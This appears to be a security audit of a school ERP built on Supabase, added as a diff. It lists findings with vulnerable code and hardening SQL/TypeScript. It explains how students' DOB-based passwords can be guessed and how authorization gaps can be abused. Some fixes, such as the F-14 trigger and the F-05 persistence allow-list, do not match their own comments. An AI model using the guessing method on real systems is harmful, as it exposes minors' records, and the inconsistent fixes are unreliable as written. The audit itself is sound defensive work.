+(`apps/admin/src/lib/utils.ts:32`, `supabase/functions/admin-users/index.ts:26`, `apps/admin/src/lib/appData.tsx:277/317`), +with no rotation and no reset path (F-06). The auth identity is derived from the admission number, +which is printed on report cards and exported to CSV. + +**Evidence.** `utils.ts:32`; UI renders the value (`People.tsx:286, 330, 378, 445`), toasts it +(`appData.tsx:295`), exports it as CSV (`People.tsx:188, 211`); `admin-users/index.ts:185` re-derives +it server-side and `:220` returns up to 200 of them per response. PoC-1 confirms a candidate space of +≈5,478 (ages 3–18) with one verification request per candidate. + +**Impact (unchanged, unavoidable while the scheme exists).** Anyone holding an admission number + DOB +(any teacher of that student, any parent, any leaked CSV) can authenticate as that student: fees, +report cards, medical leave reasons, messaging threads. For a minor this is a child-data compromise +under DPDP §8(4). + +**The design principle that makes acceptance survivable:** +> Treat `Student@DDMMYYYY` as a **public, low-assurance identifier** — not a secret. Everything that +> matters must be defended *after* login, because login can no longer be the gate. + +--- + +#### F-01a — Add a zero-cost second factor the school already permits · **HIGH** *(compensating control)* + +`docs/superpowers/specs/2026-11-03-school-erp-design.md` §18 is explicit: *"School-issued IDs + password +| **No SMS cost**, no dependency on student email, admin control"*. So the second factor must cost +nothing and must not need student email or SMS. Two mechanisms satisfy that and are worth more than +they look, because **the realistic attacker here is a classmate, not a stranger** — DOB is in the class +register and on every birthday post. A classmate knows `Student@DDMMYYYY`; they do not know a secret the +student chose. + +**1. Self-chosen PIN at first login (no cost, defeats the classmate attack).** + +```ts +// First successful sign-in with the school-issued password → force PIN enrolment. +// Stored as a slow hash server-side; never in JWT, never client-readable. +// supabase/functions/student-pin/index.ts (verify_jwt = true) +import { hash, verify } from 'npm:@node-rs/argon2@2'; + +const PIN = /^\d{6}$/; + +Deno.serve(async (req) => { + const { action, pin } = await req.json(); + const uid = await callerId(req); // verified JWT, not body + if (action === 'set') { + if (!PIN.test(pin)) return json({ error: 'PIN must be 6 digits' }, 400); + if (insecurePins.has(pin)) return json({ error: 'Pick a less obvious PIN' }, 400); + await svc.from('student_pin').upsert({ + profile_id: uid, pin_hash: await hash(pin), set_at: new Date().toISOString(), + }); + return json({ ok: true }); + } + // action === 'verify' → mint a short-lived step-up claim (see F-01b) +}); +``` + +**2. Trusted-device enrolment (no cost, defeats remote/distributed guessing).** + +Most student logins happen on a school-managed device or the family phone. Record the device on first +login; a **new** device with a correct password requires one approval from the class teacher or admin +in the console (`/approvals`). Remote attackers cannot obtain approvals; a shared lab machine is +enrolled once, not per student, if you key the device to the browser profile. + +```sql +-- 0005_authorization_hardening.sql, part F-01a +CREATE TABLE IF NOT EXISTS public.trusted_devices ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + profile_id uuid NOT NULL REFERENCES public.profiles(id) ON DELETE CASCADE, + device_fingerprint text NOT NULL, -- sha256 of a first-party random cookie + UA + label text, + approved_by uuid REFERENCES public.profiles(id) ON DELETE SET NULL, + approved_at timestamptz, + last_seen_at timestamptz NOT NULL DEFAULT now(), + created_at timestamptz NOT NULL DEFAULT now(), + UNIQUE (profile_id, device_fingerprint) +); +ALTER TABLE public.trusted_devices ENABLE ROW LEVEL SECURITY; +CREATE POLICY trusted_devices_self_read ON public.trusted_devices + FOR SELECT TO authenticated USING (auth.uid() = profile_id); +REVOKE INSERT, UPDATE, DELETE ON public.trusted_devices FROM anon, authenticated; +-- Rows are written only by the Edge Function (service_role). +``` + +**If the school later accepts a small SMS/WhatsApp cost,** guardian OTP is the strongest option and +slots into the same step-up claim. Until then, PIN + trusted device is the no-cost equivalent of +2FA and is the single highest-value mitigation available for a scheme that must stay deterministic. + +**Design principle.** Treat `Student@DDMMYYYY` as a **public, low-assurance identifier** — not a +secret. Everything that matters must be defended *after* login, because login can no longer be the gate. + +#### F-01b — Deny-by-default on everything sensitive, for the "password-only" assurance tier · **HIGH** + +Since any student credential is guessable, every read that a guessed login would expose must be +reclassified. Implement an assurance tier and gate the high-sensitivity tables on it: + +```sql +-- 0005_authorization_hardening.sql, part F-01b +-- NOTE: no BEGIN/COMMIT and no CONCURRENTLY anywhere in this file, so it can be +-- pasted into the Supabase SQL Editor (which runs statements one at a time) +-- or applied with `supabase db push`. Every statement is idempotent. + +-- A session is only "step-up" after OTP/MFA; stored in the JWT by a custom +-- access-token hook, so it cannot be set from the client. +CREATE OR REPLACE FUNCTION public.has_step_up() RETURNS boolean +LANGUAGE sql STABLE SECURITY DEFINER SET search_path = '' AS $$ + SELECT COALESCE( + (current_setting('request.jwt.claims', true)::jsonb -> 'app_metadata' ->> 'amr') = 'mfa', + false + ); +$$; +REVOKE ALL ON FUNCTION public.has_step_up() FROM PUBLIC, anon; +GRANT EXECUTE ON FUNCTION public.has_step_up() TO authenticated; + +-- Medical/safeguarding data: never readable on a password-only session, +-- not even by the student whose record it is. +DROP POLICY IF EXISTS leave_requests_student_read ON public.leave_requests; +CREATE POLICY leave_requests_student_read ON public.leave_requests + FOR SELECT TO authenticated USING ( + (auth.uid() = student_id AND public.has_step_up()) + OR public.is_class_teacher_of(student_id) + OR (public.teaches_student(student_id) AND public.has_step_up()) + OR public.is_admin() + ); + +-- Money: same tier. +DROP POLICY IF EXISTS fee_records_student_read ON public.fee_records; +CREATE POLICY fee_records_student_read ON public.fee_records + FOR SELECT TO authenticated USING ( + (auth.uid() = student_id AND public.has_step_up()) OR public.is_admin() + ); + +-- Guardian contact + DOB: remove from routine reads entirely (also bounds the +-- blast radius of a guessed login to non-sensitive data). +REVOKE SELECT ON public.student_details FROM authenticated; +GRANT SELECT (profile_id, admission_no) ON public.student_details TO authenticated; +-- Full row only through a DEFINER function callable by staff who need it: +CREATE OR REPLACE FUNCTION public.student_contact(p_student_id uuid) +RETURNS TABLE (guardian_name text, guardian_phone text) +LANGUAGE sql STABLE SECURITY DEFINER SET search_path = '' AS $$ + SELECT sd.guardian_name, sd.guardian_phone + FROM public.student_details sd + WHERE sd.profile_id = p_student_id + AND (public.is_admin() OR public.is_class_teacher_of(p_student_id)); +$$; +REVOKE ALL ON FUNCTION public.student_contact(uuid) FROM PUBLIC, anon; +GRANT EXECUTE ON FUNCTION public.student_contact(uuid) TO authenticated; +``` + +#### F-01c — Make guessing *visible* and *expensive* · **HIGH** + +A 5,478-value space is only dangerous because it is silent and unlimited. Three controls close that: + +```toml +# supabase/config.toml — Supabase Auth rate limits (apply to the live project) +[auth.rate_limit] +email_sent = 30 # per hour +token_verifications = 30 +sign_in_sign_ups = 30 # per 5 minutes per IP <-- the important one +``` + +```sql +-- 0005_authorization_hardening.sql, part F-01c +CREATE TABLE IF NOT EXISTS public.login_events ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + login_id text, + succeeded boolean NOT NULL, + reason text, -- never the submitted password + ip_hash text, -- sha256(ip + server salt), never raw IP + user_agent text, + created_at timestamptz NOT NULL DEFAULT now() +); +ALTER TABLE public.login_events ENABLE ROW LEVEL SECURITY; +CREATE POLICY login_events_admin_read ON public.login_events + FOR SELECT TO authenticated USING (public.is_admin()); +REVOKE INSERT, UPDATE, DELETE ON public.login_events FROM anon, authenticated; +-- Writes come from the Edge Function / auth webhook with service_role only. +CREATE INDEX login_events_burst_idx ON public.login_events (created_at) + WHERE succeeded = false; +``` + +Alert when **>5 failures for one `login_id` in 10 minutes** or **>20 from one `ip_hash` in 10 minutes**. +That detection, not the password rule, is what actually stops a patient attacker. + +#### F-01d — Stop shipping the password to every browser · **MEDIUM** + +The value is displayed in the People table and exported to CSV. Keep the *scheme* (policy) but remove +the *bulk disclosure*: + +- Delete the `password` column from `Person` (`apps/admin/src/lib/types.ts:26`) and every render/toast + (`People.tsx:286, 330, 378, 445`, `appData.tsx:295`). +- Delete the `password` column from the people CSV export. +- Where staff genuinely need to read a credential out to a parent, use a per-student, audited reveal + (the scheme is deterministic, so the reveal is just `passwordFromDob(dob)` computed on demand, + behind `isAdmin()`, and it writes an `audit_log` row). + +#### F-01e — Accept the risk formally · **Process** + +Record the decision, the compensating controls, the owner and a review date. Suggested text: + +> *Accepted risk AR-2026-01.* Student initial passwords are `Student@DDMMYYYY` by school policy. +> Compensating controls: step-up MFA for sensitive reads (F-01b), auth rate limits + failed-login +> detection (F-01c), no bulk credential disclosure (F-01d), forced-rotation at first login where the +> school permits it (F-06), and full audit of credential reveals (F-09). Residual risk accepted by: +> _______ (school principal / DPO). Review: 2027-02-06 (quarterly). If a single account-takeover +> incident is detected, this acceptance is void and immediate rotation of all student credentials is +> mandatory. + +**What I will not recommend again:** replacing the scheme itself, if the constraint above is accurate +and permanent. Everything in this section is compatible with the password your school wants. + +### F-02 — No authorization on declaration signatures (BOLA) · **CRITICAL** + +**Root cause.** The insert policy validates the *row*, not the *relationship*: + +```sql +-- 0002_dashboard_modules.sql:352 +CREATE POLICY "declaration_signatures_student_insert" ON declaration_signatures + FOR INSERT WITH CHECK (auth.uid() = student_id); +``` + +Any authenticated user (including a teacher or admin, and any student) can insert a signature for any student, for any form — including forms not addressed to them. This table is the legal consent record for minors. + +**Fix.** Complete, runnable version: `supabase/migrations/0005_authorization_hardening.sql` (Part 4). + +```sql +-- 0005_authorization_hardening.sql, part F-02 +DROP POLICY IF EXISTS declaration_signatures_student_insert ON public.declaration_signatures; + +CREATE POLICY declaration_signatures_student_insert ON public.declaration_signatures + FOR INSERT WITH CHECK ( + -- 1. You may only sign as yourself. + auth.uid() = student_id + -- 2. Only students sign. + AND public.app_role() = 'student' + -- 3. The form must actually be addressed to you (and be open). + AND EXISTS ( + SELECT 1 + FROM public.declaration_forms f + WHERE f.id = declaration_signatures.form_id + AND f.audience IN ('students', 'both') + AND (f.due_date IS NULL OR f.due_date >= current_date) + AND ( + cardinality(f.section_ids) = 0 + OR EXISTS ( + SELECT 1 FROM public.enrollments e + WHERE e.student_id = auth.uid() + AND e.section_id = ANY (f.section_ids) + ) + ) + ) + ); + +-- Signatures are append-only evidence; nothing may update/delete them. +REVOKE UPDATE, DELETE ON public.declaration_signatures FROM anon, authenticated; +``` + +Rationale for `cardinality(...) = 0`: it matches the `school_events` convention in your own schema ("empty array = whole school"). Apply the same predicate to `declaration_forms_read` so read and write scopes agree. + +--- + +### F-03 — Any user can inject poll options (BFLA) · **HIGH** + +**Root cause.** + +```sql +-- 0002_dashboard_modules.sql:364 +CREATE POLICY "poll_options_owner_insert" ON poll_options + FOR INSERT WITH CHECK ( + EXISTS (SELECT 1 FROM polls p WHERE p.id = poll_options.poll_id AND p.created_by = auth.uid()) + ); +``` + +This is correct in isolation, but it is **neutered by `polls_teacher_insert`** (`0002:358`), which lets *any* teacher create a poll with an arbitrary `question` and arbitrary `section_ids` (or none) — i.e. every teacher can publish to the whole school. Worse, `polls` is **never scoped on read** (`polls_read USING (true)`, `:356`; `poll_options_read USING (true)`, `:362`), so the injected option is visible to every user. + +**Impact.** Content injection with school-wide reach from a single teacher account (phishing link in an `<option>`, abusive text under the school's branding), plus fabricated results for a poll the attacker created and can close. + +**Fix.** + +```sql +DROP POLICY IF EXISTS polls_teacher_insert ON public.polls; +CREATE POLICY polls_teacher_insert ON public.polls + FOR INSERT WITH CHECK ( + auth.uid() = created_by + AND (public.is_admin() OR public.app_role() = 'teacher') + -- A non-admin may not broadcast school-wide… + AND (public.is_admin() OR cardinality(section_ids) > 0) + -- …and may only target sections they actually teach. + AND NOT EXISTS ( + SELECT 1 FROM unnest(section_ids) AS s(section_id) + WHERE NOT public.teaches_section(s.section_id) + ) + ); + +-- Tighten option writes to an open poll owned by the caller. +DROP POLICY IF EXISTS poll_options_owner_insert ON public.poll_options; +CREATE POLICY poll_options_owner_insert ON public.poll_options + FOR INSERT WITH CHECK ( + EXISTS ( + SELECT 1 FROM public.polls p + WHERE p.id = poll_options.poll_id + AND p.created_by = auth.uid() + AND (p.closes_on IS NULL OR p.closes_on >= current_date) + ) + ); + +-- Belt and braces: one option per (poll, position) so an injected option +-- cannot be forced to the top of a rendered list. +ALTER TABLE public.poll_options + ADD CONSTRAINT poll_options_position_unique UNIQUE (poll_id, position); + +-- Scope poll reads to the audience (mirrors declaration_forms_read). +DROP POLICY IF EXISTS polls_read ON public.polls; +CREATE POLICY polls_read ON public.polls + FOR SELECT USING ( + public.is_admin() + OR created_by = auth.uid() + OR cardinality(section_ids) = 0 + OR EXISTS ( + SELECT 1 FROM public.enrollments e + WHERE e.student_id = auth.uid() AND e.section_id = ANY (polls.section_ids) + ) + ); +``` + +--- + +### F-04 — Client role override feeds authorization helpers · **HIGH** + +**Root cause.** `viewingRole` (a pure UI convenience for admins) is consumed by the *authorization* functions: + +```ts +// apps/admin/src/contexts/AuthContext.tsx:96-104 +const effectiveRole = useMemo(() => { + if (viewingRole) return viewingRole; // ← attacker/UI-controlled for ANY session + return profile?.role ?? null; +}, [viewingRole, profile]); +const isAdmin = () => effectiveRole === 'admin'; +const requireRole = (roles) => !!effectiveRole && roles.includes(effectiveRole); +``` + +The switcher in `AppShell.tsx:366` is gated on `profile.role === 'admin'`, but the *capability* is not. `useAuth().viewAsRole('admin')` from a teacher session makes `isAdmin()` true, opening `AdminOnly` routes (`App.tsx:AdminOnly`), admin nav, "Share PDF", library management, etc. PoC-2 proves it (`tests/poc-security.test.tsx`). + +RLS remains the table-write boundary, so this is not immediate mass data corruption — but it defeats every client-side guard, exposes the People/CSV surface (F-07) and the audit view, and it is one `canWrite` check away from being a full escalation. + +**Fix.** Separate **display role** from **authorization role**; make the override impossible for non-admins and impossible to reach authorization at all. + +```tsx +// apps/admin/src/contexts/AuthContext.tsx +const actualRole: Role | null = profile?.role ?? null; // authority +const [previewRole, setPreviewRole] = useState<Role | null>(null); + +// UI-only. Never consulted by isAdmin/requireRole. +const displayRole: Role | null = + actualRole === 'admin' && previewRole ? previewRole : actualRole; + +const viewAsRole = useCallback((role: Role | null) => { + if (actualRole !== 'admin') return; // server-independent refusal + setPreviewRole(role); +}, [actualRole]); + +// Authorization helpers read ONLY the real role. +const isAdmin = () => actualRole === 'admin'; +const requireRole = (roles: Role[]) => actualRole !== null && roles.includes(actualRole); +``` + +Then: + +- `<AdminOnly>` must use `isAdmin()` (real role) — never `displayRole`. +- `AppShell` uses `displayRole` **only** for labels/nav highlighting, and must render a persistent "Previewing as …" banner. +- Make the boundary compiler-enforced: give `displayRole` a branded type (`type DisplayRole = Role & { __displayOnly: true }`) so it cannot be passed to `requireRole`. +- Add a lint rule/test asserting `viewAsRole` is a no-op for non-admin sessions (flip PoC-2's FIXED assertion). +- For the real product: the "view as" feature should be a **server-side** impersonation flow that mints a scoped, short-lived, audited token — never a client state flip. + +--- + +### F-05 — Sensitive student PII and passwords in the client store · **HIGH** + +**Root cause.** `Person` carries `dob`, `phone`, `admission_no` and `password` (`apps/admin/src/lib/types.ts:15-26`); the entire `AppState`, including `people[]`, is serialized on every change to `localStorage` (`apps/admin/src/lib/appData.tsx:84-85, 248`). Rendered/exported in `People.tsx:258-286`. PoC-3 confirms DOB (`YYYY-MM-DD`), `+91` phone numbers and `Student@…` passwords in `pws.demo.data.v4`. + +**Impact.** Any script on the origin (a future dependency compromise, an unescaped print sink, a malicious browser extension), any shared/kiosk device, and any XSS retroactively yields the whole student roster. Note the *live* mode persists this state under `pws.demo.data.v4` too — the key name says "demo" but the write is unconditional. + +**Fix.** + +```ts +// 1. Persist only non-sensitive UI state. Never the roster. +// apps/admin/src/lib/types.ts +export interface Person { + id: string; login_id: string; full_name: string; role: Role; + is_active: boolean; class_label?: string; section_label?: string; + // password / dob / phone / admission_no deliberately absent +} + +// 2. Allow-list what reaches storage. +const PERSISTED_KEYS = ['people', 'events', 'notices', 'audit'] as const; // no credentials, no DOB/phone +function persistable(state: AppState): Partial<AppState> { + const { people, ...rest } = state; + return { + ...Object.fromEntries(PERSISTED_KEYS.map((k) => [k, (state as never)[k]])), + people: people.map(({ id, full_name, login_id, role, is_active }) => + ({ id, full_name, login_id, role, is_active })), + }; +} +``` + +3. In live mode, storage is already wrong: **do not persist server data at all** — fetch it per view under RLS (the app already has `@tanstack/react-query`, unused). Restrict the `localStorage` mirror to `/demo`. +4. Add a one-shot purge migration in the client bootstrap: `for (const k of ['pws.demo.data.v3','pws.demo.data.v4','pws.showcase.data.v1']) localStorage.removeItem(k)` guarded by a schema-version bump, so existing devices are scrubbed. +5. Verify with PoC-3's FIXED assertions (raw blob must not match `/Student@|\d{4}-\d{2}-\d{2}|\+91/`). + +--- + +### F-06 — `must_change_password` is never enforced; no change-password flow · **HIGH** + +**Root cause.** The flag is set in all three provisioning paths (`admin-users/index.ts:137, 204`; `0001:11`; `create-admin.mjs:117`) and `scripts/create-admin.mjs:142` claims *"the console will ask for a new password at first sign-in"* — **but** `grep -rn "updateUser" apps packages` returns nothing and no route/guard reads `must_change_password` (only `database.types.ts` mentions it). `AuthContext.tsx:34` even hard-codes `must_change_password: false` for demo profiles. + +**Impact.** Every derived initial password (F-01) and every admin bootstrap password remains valid indefinitely; the "forced rotation" control the design assumes does not exist. + +**Fix.** + +```tsx +// apps/admin/src/App.tsx — a hard gate, before the shell renders +function RequirePasswordRotation({ children }: { children: ReactNode }) { + const { profile } = useAuth(); + const [rotating, setRotating] = useState(profile?.must_change_password ?? false); + if (profile?.must_change_password || rotating) { + return <ForcePasswordChange onDone={() => setRotating(false)} />; + } + return <>{children}</>; +} + +// ForcePasswordChange.tsx +async function submit(current: string, next: string, confirm: string) { + assertStrongPassword(next); // length ≥ 12, not the old one, not the login id + await supabase.auth.signInWithPassword({ // re-authenticate first + email: toAuthEmail(profile!.login_id), password: current, + }); + const { error } = await supabase.auth.updateUser({ password: next }); + if (error) throw error; + await supabase.from('profiles').update({ must_change_password: false }).eq('id', profile!.id); +} +``` + +Also: block all non-`profiles` queries until rotation completes (RLS cannot see the flag, so enforce it in every page's data hook **and** add a Postgres guard for defence in depth): + +```sql +-- Reject PostgREST writes from an account that has not rotated yet. +CREATE OR REPLACE FUNCTION public.require_rotated_password() RETURNS void +LANGUAGE plpgsql STABLE SECURITY DEFINER SET search_path = '' +AS $$ +BEGIN + IF EXISTS (SELECT 1 FROM public.profiles WHERE id = auth.uid() AND must_change_password) THEN + RAISE EXCEPTION 'password change required' USING ERRCODE = '42501'; + END IF; +END $$; +-- attach via a shared trigger on the sensitive tables (or per-table WITH CHECK). +``` + +The strongest form is to auto-expire the initial credential: `createUser({ ..., app_metadata: { provisioned_at } })` plus a scheduled job that deletes/rotates any account whose `must_change_password` is still true after 7 days. + +--- + +### F-07 — Bulk import returns up to 200 plaintext passwords · **MEDIUM** + +**Root cause.** `supabase/functions/admin-users/index.ts:220` — `results.push({ admissionNo, status: 'created', password })`. Nothing re-issues credentials, so the admin must copy these from the response; each response is one credential dump. Combined with F-01 the value is guessable anyway, but the response turns a guess into a certainty and lands in proxy/browser logs and HAR files. + +**Fix.** Remove `password` from `ImportRow` results (see F-01 fix #3). Return `{ admissionNo, status, inviteSent: boolean }` and dispatch credentials through Supabase Auth's invite/reset flow. If your institution *requires* an offline hand-out, make it an explicit, separately-audited, one-at-a-time `reveal-credential` action that: (a) writes an `audit_log` row with the target's id, (b) returns a single credential, (c) is rate-limited, and (d) never includes it in a batch response. + +--- + +### F-08 — Poll votes: no poll/option consistency, no audience check, no impersonation guard · **MEDIUM** + +**Root cause.** + +```sql +-- 0002_dashboard_modules.sql:372 +CREATE POLICY "poll_votes_student_insert" ON poll_votes + FOR INSERT WITH CHECK (auth.uid() = student_id); +``` + +No check that `option_id` belongs to `poll_id`, none that the poll is open or addressed to the caller, none that the caller is a student. The PK `(poll_id, student_id)` prevents double-voting on the same poll, but a client can send `poll_id = <poll A>` with `option_id` from **poll B** (no FK spanning the pair), producing a vote that renders under A but means nothing in B. + +**Fix.** + +```sql +ALTER TABLE public.poll_votes + ADD CONSTRAINT poll_votes_option_in_poll + FOREIGN KEY (poll_id, option_id) + REFERENCES public.poll_options (poll_id, id) -- requires the UNIQUE below + ON DELETE CASCADE; + +ALTER TABLE public.poll_options + ADD CONSTRAINT poll_options_poll_id_id_key UNIQUE (poll_id, id); + +DROP POLICY IF EXISTS poll_votes_student_insert ON public.poll_votes; +CREATE POLICY poll_votes_student_insert ON public.poll_votes + FOR INSERT WITH CHECK ( + auth.uid() = student_id + AND public.app_role() = 'student' + AND EXISTS ( + SELECT 1 FROM public.polls p + WHERE p.id = poll_votes.poll_id + AND (p.closes_on IS NULL OR p.closes_on >= current_date) + AND ( + cardinality(p.section_ids) = 0 + OR EXISTS ( + SELECT 1 FROM public.enrollments e + WHERE e.student_id = auth.uid() AND e.section_id = ANY (p.section_ids) + ) + ) + ) + ); +``` + +Also enforce `results_visible` server-side rather than relying on the page to hide totals. + +--- + +### F-09 — Audit log integrity and the false assurance in the UI · **MEDIUM** + +**Root causes (four, compounding).** + +1. **No actor binding.** `audit_log_admin_insert WITH CHECK (public.is_admin())` (`0004:88`) lets any admin insert any `actor_id`, any `action`, any `created_at`. Any admin can attribute an action to another admin. +2. **Mutable.** No `REVOKE UPDATE/DELETE` and no immutability trigger; the schema relies on the absence of a policy. `AuditLog.tsx:30` states *"Entries are read-only — admins cannot edit or delete them, on this page or in the database."* — a policy regression (e.g. someone re-adding `FOR ALL`) silently makes that false. +3. **Silent failure.** `admin-users/index.ts:146,225` and `create-admin.mjs:127` `await` the insert but **ignore `error`**; an audit write failure returns `{ ok: true }` to the caller. `service_role` bypasses RLS, so production failures are the realistic case, not policy denials. +4. **Unaudited reads/exports.** `People.tsx` CSV export (with plaintext passwords) and `Fees.tsx` export produce no audit entry, though the module advertises that reads are logged. + +**Fix.** + +```sql +-- 0005_authorization_hardening.sql, part F-09 +-- 1. Bind the actor to the session for non-service inserts. +DROP POLICY IF EXISTS audit_log_admin_insert ON public.audit_log; +CREATE POLICY audit_log_admin_insert ON public.audit_log + FOR INSERT WITH CHECK (public.is_admin() AND actor_id = auth.uid()); + +-- 2. Make the table genuinely append-only, enforced by the database. +REVOKE UPDATE, DELETE, TRUNCATE ON public.audit_log FROM anon, authenticated; +CREATE OR REPLACE FUNCTION public.audit_log_immutable() RETURNS trigger +LANGUAGE plpgsql SET search_path = '' AS $$ +BEGIN + RAISE EXCEPTION 'audit_log is append-only (attempted %)', TG_OP USING ERRCODE = '42501'; +END $$; +CREATE TRIGGER audit_log_no_mutation + BEFORE UPDATE OR DELETE ON public.audit_log + FOR EACH ROW EXECUTE FUNCTION public.audit_log_immutable(); + +-- 3. Server-side timestamp authority for non-service writes. +ALTER TABLE public.audit_log ALTER COLUMN created_at SET DEFAULT now(); +``` + +```ts +// 4. Never swallow an audit failure. +const { error: auditError } = await admin.from('audit_log').insert({ /* … */ }); +if (auditError) { + console.error('audit_write_failed', { action, auditError }); + return json({ error: 'Audit trail unavailable; action aborted' }, 503); +} +``` + +5. Emit an audit row for every export (`action: 'export-people-csv'`, `meta: { rows: n }`) and every failed authentication (a `login_attempts` table fed by a Postgres hook or an auth webhook). Purge policy: keep 12 months, ship to WORM/object-lock storage for the DPDP retention argument. +6. Copy fix: change `AuditLog.tsx` to say what the database *enforces*, and add an RLS test asserting `UPDATE`/`DELETE` fail for `authenticated` and `service_role` alike (the trigger covers both). + +--- + +### F-10 — Notice read-receipts writable by any user · **MEDIUM** + +**Root cause.** + +```sql +-- 0001_initial_schema.sql:426 +CREATE POLICY "notice_recipients_own_update" ON notice_recipients + FOR UPDATE USING (auth.uid() = user_id) WITH CHECK (auth.uid() = user_id); +``` + +Unrestricted column UPDATE on your own receipt row: `read_at` can be **cleared** (destroying delivery evidence for a legal/safeguarding notice) and `notice_id`/`user_id` can be **rewritten** within the self-scope, allowing re-pointing a receipt. + +**Fix.** + +```sql +DROP POLICY IF EXISTS notice_recipients_own_update ON public.notice_recipients; +REVOKE UPDATE ON public.notice_recipients FROM anon, authenticated; +GRANT UPDATE (read_at) ON public.notice_recipients TO authenticated; + +CREATE POLICY notice_recipients_mark_read ON public.notice_recipients + FOR UPDATE USING (auth.uid() = user_id AND read_at IS NULL) -- one-way + WITH CHECK (auth.uid() = user_id AND read_at IS NOT NULL); -- can only set it +``` + +--- + +### F-11 — Unmapped / unscoped authorization helpers · **MEDIUM** + +**Root causes.** + +1. `is_enrolled(p_student_id)` (`0001:215`) takes an arbitrary UUID and **never checks whether the student is the caller** — it is a cross-tenant existence oracle for any role, `anon` included (there is no `TO` clause, and no migration revokes it from `anon`; `0003` only touches function *EXECUTE*, and `is_enrolled` is not even used by any policy, so its grant is pure excess). +2. `class_teacher_of_section(target_section)` (`0002:23`) returns another section's teacher UUID to any caller. +3. `app_role()` is declared **without qualified types** (`profiles`/`auth.uid()` resolved through `search_path` at *creation* time), unlike every other helper; it is also not `public.`-qualified in the `0003` revoke. Combined with `0004:35` (`IF current_user IN ('service_role','postgres') OR public.is_admin()`) this is an invitation to a future privilege bug (F-14). +4. `is_enrolled`'s predicate is semantically wrong anyway: `e.academic_year IS NOT NULL` is true for every enrollment row, so the helper answers "is this user enrolled in anything" rather than "in the relevant section". + +**Fix.** Complete, runnable version: `supabase/migrations/0005_authorization_hardening.sql` (Part 0). + +```sql +-- 0005_authorization_hardening.sql, part F-11 +-- Revoke helpers nobody needs. +REVOKE ALL ON FUNCTION public.is_enrolled(uuid) FROM PUBLIC, anon, authenticated; +REVOKE ALL ON FUNCTION public.class_teacher_of_section(uuid) FROM PUBLIC, anon, authenticated; + +-- If a scoped version is needed later, it must be caller-bound: +CREATE OR REPLACE FUNCTION public.is_self_enrolled(p_student_id uuid) RETURNS boolean +LANGUAGE sql STABLE SECURITY DEFINER SET search_path = '' AS $$ + SELECT p_student_id = auth.uid() + AND EXISTS (SELECT 1 FROM public.enrollments e WHERE e.student_id = auth.uid()); +$$; +REVOKE ALL ON FUNCTION public.is_self_enrolled(uuid) FROM PUBLIC, anon; +GRANT EXECUTE ON FUNCTION public.is_self_enrolled(uuid) TO authenticated; + +-- Harden app_role() in line with the others. +CREATE OR REPLACE FUNCTION public.app_role() RETURNS text +LANGUAGE sql STABLE SECURITY DEFINER SET search_path = '' AS $$ + SELECT p.role::text FROM public.profiles p WHERE p.id = auth.uid(); +$$; +``` + +Also add an explicit `TO authenticated` to every policy (`CREATE POLICY … TO authenticated USING …`) so `anon` is denied by construction, and add a test that asserts `relrowsecurity` for **every** table (see F-18). + +**Directory note.** `0004` correctly removed the blanket `profiles_read_active`. If the product needs classmate/teacher names, add a *minimal* projection via a view (`security_invoker`, exposing `id, full_name, role` only for sections you share) — do not restore the blanket policy. + +--- + +### F-12 — Library tables writable by every teacher · **MEDIUM** + +**Root cause.** `books_staff_write` and `book_issues_staff_write` are `FOR ALL` gated only on `app_role() IN ('teacher','admin')` (`0002:396, 401`). Every teacher can delete the catalogue and fabricate issues/fines for any student; `issued_by` is not bound to `auth.uid()`; `returned_on`/`fine_amount` can be back-dated arbitrarily. The app's own design rule is "teachers manage their own scope". + +**Fix.** + +```sql +-- 0005_authorization_hardening.sql, part F-12 +DROP POLICY IF EXISTS books_staff_write ON public.books; +CREATE POLICY books_admin_write ON public.books + FOR ALL TO authenticated USING (public.is_admin()) WITH CHECK (public.is_admin()); +CREATE POLICY books_staff_read ON public.books + FOR SELECT TO authenticated USING (true); + +DROP POLICY IF EXISTS book_issues_staff_write ON public.book_issues; +CREATE POLICY book_issues_librarian_insert ON public.book_issues + FOR INSERT TO authenticated + WITH CHECK (public.is_admin() AND issued_by = auth.uid()); +CREATE POLICY book_issues_librarian_return ON public.book_issues + FOR UPDATE TO authenticated + USING (public.is_admin() AND issued_by = auth.uid()) + WITH CHECK (public.is_admin() AND issued_by = auth.uid()); +-- No DELETE: returns are recorded, not erased. (Add a librarian role if +-- staff other than admins must run circulation.) +``` + +If teachers genuinely circulate books, add a `librarian boolean` to a `staff_roles` table (not to `profiles`, which is privilege-protected) and scope on it. + +--- + +### F-13 — Data residency & transfer of minors' records · **MEDIUM** + +**Observations.** Postgres/Auth/Edge Functions default to a Supabase region chosen at project creation; a Vercel-hosted SPA adds a second processor. Nothing in the repo records the chosen region, the DPA, or a retention schedule. India's Digital Personal Data Protection Act 2023 applies (children's data: verifiable parental consent, no behavioural tracking/targeted advertising), and §16(1) empowers the Government to notify **restricted countries** for transfers; the draft DPDP Rules (Rule 15(2)) would require reasonable security safeguards for cross-border processing. + +**Actions.** + +1. Record the Supabase project region and put it in `docs/security/`; if it is not `ap-south-1`, plan a migration and document the transfer assessment. +2. Execute DPAs with Supabase and Vercel; record sub-processors. +3. Define retention for `audit_log`, `messages`, `leave_requests` (medical data), `fee_records`. +4. Implement verifiable parental consent capture for student accounts (the declaration-signature table is the natural home — **after** F-02 is fixed, since it is currently forgeable). +5. On erasure/graduation, cascade-delete (`profiles` → `auth.users` already cascades) and record the audit entry. + +--- + +### F-14 — Authorization-trigger hardening · **LOW** + +1. **`protect_profile_privileges` self-exempts via role name** (`0004:35`): `current_user IN ('service_role','postgres')` returns `NEW` unconditionally, *before* the protected-column check. Any future path that runs as `service_role` (an Edge Function taking a client-supplied row, a `SECURITY DEFINER` wrapper, a misconfigured cron) inherits an unconditional bypass. Encode the intended rule explicitly: + +```sql +CREATE OR REPLACE FUNCTION public.protect_profile_privileges() RETURNS trigger +LANGUAGE plpgsql SECURITY INVOKER SET search_path = '' AS $$ +BEGIN + -- service_role / owner are the provisioning path: allow, but record it. + IF current_user IN ('service_role', 'postgres') THEN + RETURN NEW; + END IF; + IF public.is_admin() THEN + RETURN NEW; -- admins may manage others; audited by app + END IF; + IF NEW.role IS DISTINCT FROM OLD.role + OR NEW.is_active IS DISTINCT FROM OLD.is_active + OR NEW.login_id IS DISTINCT FROM OLD.login_id + OR NEW.created_at IS DISTINCT FROM OLD.created_at THEN + RAISE EXCEPTION 'permission denied: privileged profile columns are protected' + USING ERRCODE = '42501'; + END IF; + RETURN NEW; +END $$; +``` + 